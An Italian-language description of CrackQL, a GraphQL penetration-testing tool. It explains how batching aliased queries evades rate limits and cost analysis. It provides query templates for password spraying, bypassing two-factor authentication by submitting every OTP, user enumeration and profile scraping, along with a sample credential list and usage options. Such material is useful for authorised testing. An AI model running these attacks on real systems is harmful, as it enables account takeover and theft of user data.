
Strumento di penetration testing GraphQL che sfrutta limiti di velocità deboli e analisi dei costi per forzare le credenziali, bypassare la 2FA, enumerare utenti e eseguire fuzzing delle operazioni tramite query alias in batch.
CrackQL è un'utility per il brute-force delle password e il fuzzing di GraphQL.
CrackQL è uno strumento versatile per il penetration testing di GraphQL che sfrutta controlli deboli di rate-limit e analisi dei costi per eseguire brute-force delle credenziali e fuzzing delle operazioni.
CrackQL funziona raggruppando automaticamente una singola query o mutazione GraphQL in diverse operazioni alias. Determina il numero di alias da utilizzare in base alle variabili di input del CSV. Dopo aver generato programmaticamente il documento GraphQL raggruppato, CrackQL raggruppa e invia il/i payload all'API GraphQL di destinazione e analizza i risultati e gli errori.
CrackQL può essere utilizzato per un'ampia gamma di attacchi GraphQL poiché genera programmaticamente payload basati su un elenco di input dinamici.
A differenza di Burp Intruder che invia una richiesta per ogni payload unico, CrackQL elude le difese tradizionali di monitoraggio del rate-limit delle API HTTP utilizzando più query alias per inserire grandi insiemi di credenziali in singole richieste HTTP. Per bypassare le difese di analisi dei costi delle query, CrackQL può essere ottimizzato utilizzando una serie di operazioni raggruppate più piccole (-b) e un ritardo temporale (-D).
CrackQL è perfetto per distribuzioni GraphQL che sfruttano operazioni di autenticazione GraphQL in-band (come il GraphQL Authentication Module). L'esempio di password spraying qui sotto funziona contro DVGA con il dizionario sample-inputs/users-and-passwords.csv.
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
È possibile utilizzare CrackQL per bypassare l'autenticazione a due fattori inviando tutti i token OTP (One Time Password).
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
CrackQL può anche essere utilizzato per attacchi di enumerazione per scoprire ID utente validi, nomi utente e indirizzi email.
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
CrackQL potrebbe essere utilizzato per iterare su un gran numero di potenziali identificatori unici al fine di divulgare informazioni sugli oggetti.
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
CrackQL può essere utilizzato per operazioni di fuzzing generale degli input, come l'invio di payload SQLi e XSS potenziali.
CrackQL genera payload basati sulle variabili di input definite da un file CSV. CrackQL richiede che l'intestazione del CSV corrisponda al nome dell'input.
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloatgit clone [email protected]:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
Usa config.py per impostare cookie HTTP, header o proxy se l'endpoint richiede autenticazione.